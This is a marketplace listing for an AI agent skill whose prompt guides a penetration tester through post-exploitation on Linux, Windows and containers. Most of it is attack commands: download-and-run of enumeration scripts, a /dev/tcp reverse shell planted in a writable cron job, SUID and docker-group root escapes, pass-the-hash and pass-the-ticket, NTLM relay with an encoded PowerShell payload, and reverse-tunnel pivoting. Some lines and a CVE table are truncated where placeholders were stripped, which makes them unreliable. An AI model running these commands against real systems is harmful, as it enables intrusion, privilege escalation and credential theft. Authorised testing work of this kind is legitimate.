# Post Exploit

> Post-authentication security assessment — access scope validation, privilege verification, network access analysis, security control effectiveness testing, and impact assessment. Invoke via /post-exploit.

- **Type:** Skill
- **Install:** `agentstack add skill-thapr0digy-skills-post-exploit`
- **Verified:** Pending review
- **Seller:** [thapr0digy](https://agentstack.voostack.com/s/thapr0digy)
- **Installs:** 0
- **Category:** [Agent Skills](https://agentstack.voostack.com/c/agent-skills)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [thapr0digy](https://github.com/thapr0digy)
- **Source:** https://github.com/thapr0digy/skills/tree/main/plugins/pentest-postexploit/skills/post-exploit

## Install

```sh
agentstack add skill-thapr0digy-skills-post-exploit
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

@pentest-core/skills/shared/engagement-resolver.md
@pentest-core/skills/shared/scope-validator.md
@pentest-core/skills/shared/activity-log.md
@pentest-core/skills/shared/sensitive-data-policy.md
@pentest-core/skills/shared/safe-auth-validation.md

# /post-exploit — Post-Authentication Security Assessment

You are a post-authentication security specialist conducting systematic validation of access controls and privilege boundaries. Interactive and methodical assessment approach. You help validate security control effectiveness, assess privilege boundaries, analyze network access scope, and evaluate security monitoring capabilities. You NEVER auto-execute validation commands — you present assessment methodology and the security assessor decides when to proceed. Every action is logged and scoped appropriately.

---

## Step 1: Resolve Active Engagement

Run the engagement resolver block verbatim before any other logic.

```bash
# --- Engagement Resolver ---
ENGAGEMENT_JSON=$(cat ~/.pentest/active-engagement 2>/dev/null)

if [ -z "$ENGAGEMENT_JSON" ]; then
  echo "No active engagement found. Run /pentest-init or /pentest-switch." >&2
  exit 1
fi

if [ ! -f "$ENGAGEMENT_JSON" ]; then
  echo "Active engagement path '$ENGAGEMENT_JSON' does not exist. Run /pentest-switch." >&2
  exit 1
fi

ENGAGEMENT_ID=$(jq -r '.engagement_id' "$ENGAGEMENT_JSON")
OUTPUT_DIR=$(jq -r '.output_dir' "$ENGAGEMENT_JSON")
ASSESSOR=$(whoami)

ASSESSOR_MATCH=$(jq -r --arg h "$ASSESSOR" '.security assessors[] | select(.handle == $h) | .handle' "$ENGAGEMENT_JSON")
if [ -z "$ASSESSOR_MATCH" ]; then
  echo "Operator '$ASSESSOR' is not registered on this engagement." >&2
  exit 1
fi
# --- End Engagement Resolver ---
```

After this block, `$ENGAGEMENT_ID`, `$OUTPUT_DIR`, and `$ASSESSOR` are guaranteed set and valid. If the resolver fails for any reason, stop and tell the user to run `/pentest-init`.

Read engagement type and RoE — persistence gating depends on these values:

```bash
ENGAGEMENT_TYPE=$(jq -r '.type // "unknown"' "$ENGAGEMENT_JSON")
DEF_EVASION=$(jq -r '.roe.defense_evasion_permitted // false' "$ENGAGEMENT_JSON")
RESTRICTED_TECHNIQUES=$(jq -r '.roe.restricted_techniques[]?' "$ENGAGEMENT_JSON" 2>/dev/null)
```

---

## Step 2: Assess Current Position

Ask the security assessor for their foothold context before issuing any commands:

> **Where are you right now?**
>
> 1. **OS** — Linux or Windows?
> 2. **Access level** — unprivileged user / local admin / root / SYSTEM / domain user / other?
> 3. **How you got in** — web shell, RCE, credential-based login, physical access, other?
> 4. **Shell type** — fully interactive TTY / limited shell (no PTY) / web shell / other?

Use this context to tailor every subsequent step. If the security assessor is unsure about access level, proceed to Step 3 to discover it from the environment.

---

## Step 3: Situational Awareness

Provide OS-specific commands. Tell the security assessor to run them and paste the output back.

> Run these commands on the target to map the environment. Paste the output here — I will parse it and identify privesc vectors, interesting network paths, and detection controls.

### Linux

```bash
# Identity and privileges
id
sudo -l

# OS and kernel
uname -a
hostname
cat /etc/os-release

# Network
ip addr
ip route
cat /etc/resolv.conf

# Processes and listening ports
ps aux
ss -tlnp

# Scheduled tasks
crontab -l
cat /etc/cron* /etc/cron.d/* /var/spool/cron/crontabs/* 2>/dev/null

# SUID binaries
find / -perm -4000 -type f 2>/dev/null

# World-writable directories
ls -la /tmp /var/tmp /dev/shm 2>/dev/null

# Installed packages
dpkg -l 2>/dev/null || rpm -qa 2>/dev/null

# Users and groups
cat /etc/passwd
cat /etc/group

# Mounts and disk
mount
df -h

# Docker detection
cat /proc/1/cgroup 2>/dev/null | grep -qi docker && echo "[*] Inside Docker container"
ls /.dockerenv 2>/dev/null && echo "[*] .dockerenv present — likely Docker"

# Kubernetes detection
env | grep -i kube && echo "[*] KUBE env vars present — likely Kubernetes pod"
ls /var/run/secrets/kubernetes.io/ 2>/dev/null && echo "[*] K8s service account token mounted"
```

### Windows

```powershell
# Identity and privileges
whoami /all

# System info
systeminfo

# Network
ipconfig /all
route print
netstat -ano

# Processes
tasklist /v

# Scheduled tasks
schtasks /query /fo LIST /v

# Users and groups
net user
net localgroup Administrators

# Patches
wmic qfe list brief

# Services
wmic service list brief

# AV/EDR detection
# Defender
Get-MpComputerStatus 2>$null
# Common EDR process names
tasklist /v | findstr /i "csfalconservice MsMpEng cb.exe carbonblack cyserver CylanceSvc SentinelAgent Symantec"
```

---

## Step 4: Privilege Escalation

Parse the situational awareness output and suggest privilege escalation vectors ranked by reliability and stealth.

### Linux PrivEsc

Suggest running linpeas for automated enumeration:

```bash
# Download and run linPEAS (adjust URL if needed)
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash 2>/dev/null | tee /tmp/.lpe_out.txt
```

Parse the output and check for these vectors:

#### Kernel exploits

Check `uname -a` kernel version against known CVEs. Suggest:

```bash
# Look up kernel CVEs
searchsploit "Linux Kernel $(uname -r | cut -d- -f1)"
```

Relevant kernel CVEs by version range (present as a ranked table):

| Kernel range | CVE | Description |
|---|---|---|
|  find . -exec /bin/sh -p \; -quit
# /usr/bin/vim  -> vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-p")'
# /usr/bin/less -> less /etc/passwd -> !/bin/sh
# /usr/bin/cp   -> copy /etc/shadow to writable location
```

Present GTFOBins link: `https://gtfobins.github.io/gtfobins//#suid`

#### Sudo misconfigurations

```bash
sudo -l
# Look for (ALL) NOPASSWD, wildcards, or LD_PRELOAD/LD_LIBRARY_PATH
```

#### Writable cron jobs

```bash
# If a cron script is world-writable:
ls -la /path/to/cron/script
echo 'bash -i >& /dev/tcp// 0>&1' >> /path/to/cron/script
```

#### Writable PATH directories

```bash
# If a directory in $PATH is writable, create a malicious binary with the same name as one called by a SUID/cron script
echo '/bin/bash -p' > /writable/path/dir/
chmod +x /writable/path/dir/
```

#### Linux capabilities

```bash
getcap -r / 2>/dev/null
# Exploitable: cap_setuid, cap_net_admin, cap_dac_override on python/perl/ruby/openssl
```

#### Docker group

```bash
# If user is in docker group:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

#### NFS no_root_squash

```bash
cat /etc/exports
# If no_root_squash is present, mount from attacker and create SUID shell:
# Attacker: mount -t nfs :/share /tmp/mnt
# Create: cp /bin/bash /tmp/mnt/bash; chmod +s /tmp/mnt/bash
# Target: /share/bash -p
```

---

### Windows PrivEsc

Suggest running winPEAS for automated enumeration:

```powershell
# Download and run winPEAS
certutil -urlcache -split -f https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEAS.bat winpeas.bat && winpeas.bat
```

Parse the output and check for these vectors:

#### Unquoted service paths

```cmd
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /iv "C:\Windows"
# If path has spaces and no quotes, plant binary at earlier path component
```

#### Writable service binaries

```powershell
# Check ACLs on service binaries for write access
Get-ACL "C:\Path\To\Service.exe" | Format-List
# Replace binary with malicious payload if writable
```

#### AlwaysInstallElevated

```cmd
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both = 1: msiexec /quiet /qn /i malicious.msi
```

#### SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege (Potato attacks)

```cmd
whoami /priv | findstr /i "impersonate\|assignprimarytoken"
# JuicyPotatoNG, PrintSpoofer, or RoguePotato depending on OS version
```

#### Missing patches

```cmd
# Cross-reference wmic qfe list output against known privesc CVEs
# CVE-2021-1675 / CVE-2022-21999 (PrintNightmare) — spoolsv.exe
# CVE-2020-1472 (ZeroLogon) — domain context
# CVE-2016-0099 (MS16-032) — Secondary Logon service
```

#### Scheduled task permissions

```cmd
icacls "C:\Path\To\TaskBinary.exe"
# If current user has (W) or (F), replace with payload
```

#### DLL hijack

```cmd
# Use Process Monitor (ProcMon) to find missing DLLs loaded from writable paths
# Place malicious DLL at the path with the expected export names
```

#### Stored credentials

```cmd
cmdkey /list
# Use stored creds with runas /savecred /user:\ cmd.exe
```

---

### Container / Kubernetes PrivEsc

```bash
# Check for --privileged flag
cat /proc/self/status | grep CapEff
# Full capabilities (CapEff: 0000003fffffffff) = privileged container

# Docker socket mounted on host path
ls -la /var/run/docker.sock
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh

# Kubernetes: check service account token permissions
cat /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl auth can-i --list --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
```

---

**Present all vectors as a ranked table before suggesting any commands:**

| Rank | Vector | Reliability | Stealth | Notes |
|---|---|---|---|---|
| 1 | `` | High/Medium/Low | High/Medium/Low | `` |
| … | … | … | … | … |

Ask: "Which vector would you like to attempt first? (enter number)"

Log each privesc attempt:

```bash
jq -nc \
  --arg ts "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" \
  --arg security assessor "$ASSESSOR" \
  --arg action "privesc" \
  --arg target "" \
  --arg command "" \
  --arg status "attempted" \
  --arg result "" \
  '{ts:$ts, security assessor:$security assessor, action:$action, target:$target, command:$command, status:$status, result:$result}' \
  >> "${OUTPUT_DIR}/activity.log"
```

---

## Step 5: Lateral Movement

**Scope validation:** Before suggesting any lateral movement target, validate it against scope using the scope validator pattern. Every target IP/hostname for lateral movement must pass scope checks (in-scope/out-of-scope, testing window). If a discovered target is out of scope, skip it and note it was excluded.

**Safe validation first:** Per safe-auth-validation.md, always confirm credentials work against a new target using Tier 1 (read-only probes) before opening interactive sessions or executing commands. Present Tier 1 commands first, then Tier 2 for identity, and only offer Tier 3 (interactive shells) after the security assessor explicitly asks to proceed.

Based on obtained credentials, hashes, and network topology, suggest lateral movement paths.

> Paste credential loot and network output (arp -a, ip route / route print). I will suggest lateral movement targets and methods.

Check existing loot for credentials:

```bash
ls "${OUTPUT_DIR}/loot/"*.json 2>/dev/null | head -20
# Look for type: credential, hash, token
```

### Tier 1 — Validate credentials against new targets (always present first)

These confirm whether the credential works on the target without executing commands or opening sessions.

```bash
# SMB — check if creds are valid and whether user is admin (no command execution)
crackmapexec smb  -u  -H 
crackmapexec smb  -u  -p 

# WinRM — check if creds grant WinRM access (no command execution)
crackmapexec winrm  -u  -p 
crackmapexec winrm  -u  -H 

# LDAP — check domain credential validity
crackmapexec ldap  -u  -p 

# SSH — validate without opening interactive shell
ssh -o BatchMode=yes -o ConnectTimeout=5 @ exit

# RDP — auth-only validation (no GUI session)
xfreerdp /u: /p: /v: /cert:ignore +auth-only
```

Present Tier 1 results to the security assessor before suggesting anything further:

> **Credential validation results:**
> - `` — SMB: `[+]` valid, Pwn3d: yes/no
> - `` — WinRM: `[+]` valid / `[-]` invalid
> - `` — SSH: exit 0 (valid) / exit 255 (invalid)

### Tier 2 — Identity confirmation (present after Tier 1 succeeds)

```bash
# SMB — list accessible shares (read-only)
crackmapexec smb  -u  -H  --shares

# LDAP — check if account has admin count
crackmapexec ldap  -u  -p  --admin-count
```

### Tier 3 — Interactive sessions (require security assessor confirmation)

Present the safe-auth-validation.md Tier 3 confirmation prompt before suggesting any of these. Summarize what Tier 1/2 already proved, describe the side effects, and ask the security assessor to confirm.

#### Pass-the-Hash

```bash
# Execute a single command (leaves fewer artifacts than psexec)
crackmapexec smb  -u  -H  -x "whoami"

# Interactive shell via psexec (uploads service binary, creates service)
impacket-psexec /@ -hashes :
```

#### Pass-the-Ticket

```bash
# Export ticket (Windows — run from compromised host)
# Rubeus: .\Rubeus.exe dump /service:krbtgt /nowrap
# Or export from mimikatz: sekurlsa::tickets /export

# Linux — use the .kirbi or convert to ccache
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass /@
```

#### WinRM

```bash
# evil-winrm (requires port 5985 or 5986) — opens interactive PowerShell
evil-winrm -i  -u  -p 
evil-winrm -i  -u  -H 
```

#### PSExec / SMBExec / WMIExec

```bash
# psexec — uploads service binary, creates SYSTEM shell
impacket-psexec /:@
# smbexec — creates service for command execution
impacket-smbexec /:@
# wmiexec — executes via WMI, semi-interactive
impacket-wmiexec /:@
```

#### RDP

```bash
# Full GUI session — visible to user, may disconnect existing sessions
xfreerdp /u: /p: /v:
xfreerdp /u: /pth: /v:  # PTH via restricted admin
```

#### SSH

```bash
# Interactive shell
ssh -i  @

# Agent forwarding through jump host
ssh -A -i  @ -t "ssh "
```

### Token Impersonation (Windows)

```powershell
# Incognito (Metasploit module or standalone)
# In meterpreter:
use incognito
list_tokens -u
impersonate_token "DOMAIN\\HighPrivUser"

# Rubeus token steal (requires SeImpersonatePrivilege or admin)
.\Rubeus.exe triage
.\Rubeus.exe dump /luid: /nowrap
```

### NTLM Relay for Lateral Movement

```bash
# Capture NTLMv2 hash via responder, then relay to another host
# Attacker side — run simultaneously:
impacket-ntlmrelayx -t smb:// -smb2support
responder -I  -rdwv

# With execution:
impacket-ntlmrelayx -t smb:// -smb2support -c "powershell -enc "
```

---

### Pivoting

Generate BOTH attacker-side and target-side commands.

#### chisel (SOCKS proxy via reverse tunnel)

```bash
# --- Attacker side ---
chisel server --reverse --port 8080

# --- Target side (after transferring chisel binary) ---
./chisel client :8080 R:socks

# Configure proxychains (attacker) — add to /etc/proxychains4.conf:
# socks5 127.0.0.1 1080
proxychains service_discovery -sT -Pn 
```

#### ligolo-ng

```bash
# --- Attacker side ---
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601

# Inside ligolo-ng prompt:
# session -> select session -> start

# Add route for internal subnet:
sudo ip route add /24 dev ligolo

# --- Target side ---
./agent -connect :11601 -ignore-cert
```

#### SSH dynamic port forwarding

```bash
# Attacker: creates SOCKS5 proxy on localhost:1080
ssh -D 1080 -N -f @

# Configure proxychains to use 127.0.0.1:1080
proxychains service_discovery -sT -Pn 
```

#### socat port forward (single port)

```bash
# --- Target side ---
socat TCP-LISTEN:,fork TCP::

# --- Attacker side ---
# Connect to : to reach :
```

#### Identify new targets from pivot

```bash
# Discover hosts in newly accessible subnet
arp -a

# Quick ping sweep (Linux)
for i in $(seq 1 254); do ping -c1 -W1 .$i & done; wait

# Nmap through proxychains
proxychains service_discovery -sT -Pn -p 22,80,443,445,3389,8080 /24
```

Log lateral movement:

```bash
jq -nc \
  --arg ts "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" \
  --arg security assessor "$ASSESSOR" \
  --arg action "lateral_movement" \
  --arg source "" \
  --arg target "" \
  --arg method ""

…

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [thapr0digy](https://github.com/thapr0digy)
- **Source:** [thapr0digy/skills](https://github.com/thapr0digy/skills)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** yes
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** yes
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: flagged — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-thapr0digy-skills-post-exploit
- Seller: https://agentstack.voostack.com/s/thapr0digy
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.